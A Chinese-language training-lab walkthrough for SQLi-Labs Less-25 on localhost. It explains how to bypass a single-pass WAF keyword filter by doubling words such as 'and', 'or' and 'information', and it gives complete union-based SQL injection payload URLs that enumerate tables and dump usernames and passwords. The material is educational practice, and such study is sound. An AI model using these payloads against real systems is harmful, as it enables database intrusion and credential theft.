实验原理
WAF (Web Application Firewall)的中文名称叫做"Web应用防火墙",通过检查HTTP的流量,它可以防御Web应用安全漏洞,如阻止SQL注入,跨站脚本(XSS)、文件包含和安全配置错误等漏洞引发的攻击。
作为攻击者来说,常见的绕过WAF的方式包括大小写变换、编码、重写、巧用注释符、巧用盲注、同功能函数替换等。其中,重写适用于WAF只过滤一次敏感字的情况。比如 WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了。
1.访问SQLi-Labs网站
访问Less-25,并根据网页提示给定一个GET参数
2.寻找注入点及判断WAF过滤的关键字
http://127.0.0.1/sqli-labs/Less-25/?id=1'
运行后报错!
http://127.0.0.1/sqli-labs/Less-25/?id=1' and '1'='1
运行后页面显示的并不是id=1的用户名和密码,且提示原本输入的payload中"and"被删除了!
同理,经过尝试,payload中的"or"也会被删除。
http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd '1'='1
运行后正常显示id=1的用户名和密码,虽然原本输入的payload 中"and"被删除,但只删除一次!
http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd '1'='2
运行后未正常显示!
由上述结果可以判断,网站存在字符型注入点,且WAF对"and"、"“"or"关键字进行过滤,但只过滤一次。
因此,在后续的注入步骤中,payload中只要存在"and"、"or"这样的固定字符串,
都需要使用重写方式绕过WAF的过滤。
3.判断网站查询的字段数
http://127.0.0.1/sqli-labs/Less-25/?id=1' oorrder by 1 --+
注意:“order”当中含有“or”,因此也需要重写,即"oorrder”
正常显示!
...
...
最后,网站查询的字段数为3
4.判断网站回显位置
http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,2,3 --+
结果是2号位3号位可以回显
5.获取网站当前所在数据库库名
显示为security
6.获取数据库security的全部表名
http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
注意:“information”当中含有“or”,因此也需要重写,即infoorrmation”
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息
7.获取users表的全部字段名
http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users' --+
8.获取users表id、username和password字段的全部值
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如
1)显示第一组数据
http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,2,concat_ws(',',id,username,passwoorrd) from security.users limit 0,1 --+
2)显示第二组数据
http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,2,concat_ws(',',id,username,passwoorrd) from security.users limit 1,1 --+
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。